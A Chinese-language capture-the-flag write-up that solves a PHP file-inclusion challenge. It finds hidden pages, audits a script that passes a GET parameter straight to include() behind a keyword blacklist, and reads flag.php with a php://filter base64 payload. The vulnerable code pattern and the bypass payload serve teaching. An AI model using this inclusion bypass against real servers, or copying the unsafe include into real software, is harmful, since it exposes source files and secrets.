-
- 正文
-
- 一、查看源代码,信息收集
- 二、访问网页,查看服务器返回信息
- 三、访问网页,代码审计
- 四、php://filter/实现"PHP过滤"绕过
- [五、base64解码获取 Flag](#五、base64解码获取 Flag)
正文
一、查看源代码,信息收集
访问首页,Ctrl+U查看页面源代码,发现有一个隐藏链接指向 Archive_room.php。

访问 Archive_room.php,页面提示"我把他们都放在这里了,去看看吧",并有一个 SECRET 按钮指向 action.php。
二、访问网页,查看服务器返回信息
访问 action.php,使用brupsuit工具拦截一下,把请求包发送到重放器,点击发送之后,可以看到服务器返回 302 重定向到 end.php。但重点在返回的 HTML 源码中有一段 HTML 注释:
html
<!-- secr3t.php -->

这暴露了一个隐藏的秘密文件 secr3t.php。
三、访问网页,代码审计
访问 secr3t.php,页面会高亮显示自身源码:

php
<?php
// 语法高亮显示当前PHP源代码,方便页面直接查看源码
highlight_file(__FILE__);
// 关闭所有错误提示,屏蔽报错信息,增加排查难度
error_reporting(0);
// 通过GET方式接收URL传参名为file的值,赋值给变量$file
$file = $_GET['file'];
// 多重黑名单关键词过滤判断
// strstr:区分大小写查找字符串;stristr:不区分大小写查找
if(
strstr($file,"../") // 禁止传入 路径跳转符 ../ 防止目录穿越
|| stristr($file, "tp") // 禁止包含含tp字符(拦截ThinkPHP框架相关文件)
|| stristr($file,"input") // 禁止包含含input字符(拦截php://input伪协议)
|| stristr($file,"data") // 禁止包含含data字符(拦截data://伪协议)
){
// 命中黑名单关键词,输出拒绝提示
echo "Oh no!";
// 直接终止程序运行,不再执行后续代码
exit();
}
// 无黑名单拦截,直接引入/加载用户传入的文件,核心文件包含漏洞点
include($file);
// 题目提示:flag存储在flag.php文件内
//flag放在了flag.php里
?>
这段代码给了三个信息:
- 接受
GET参数file,然后通过include($file)包含该文件 ------ 典型的 文件包含漏洞 - 但存在四个过滤规则:
../------ 禁止目录穿越tp(不区分大小写)------ 防止使用php://等伪协议(stristr匹配tp)input------ 禁止php://inputdata------ 禁止data://
- 注释提示:flag 在
flag.php中
四、php://filter/实现"PHP过滤"绕过
虽然 tp 被过滤了,但我们需要检查 php://filter 这个字符串中是否包含 tp:
php://filter/convert.base64-encode/resource=flag.php
逐字符检查:p-h-p-:/-/-f-i-l-t-e-r,并没有连续的 tp 子串,所以 不会被过滤!
关键原理:
php://filter是 PHP 的一个流封装协议,用于对文件内容进行编码/解码处理convert.base64-encode会将文件内容转为 Base64 编码后输出- 这样即使
flag.php中包含 PHP 代码(会被服务器执行),也能以编码形式显示出来
构造 Payload:
http
GET /secr3t.php?file=php://filter/convert.base64-encode/resource=flag.php
五、base64解码获取 Flag
服务器返回的响应底部包含一段 Base64 编码的字符串

解码后得到 flag.php 的完整解释,从中可以看到flag:
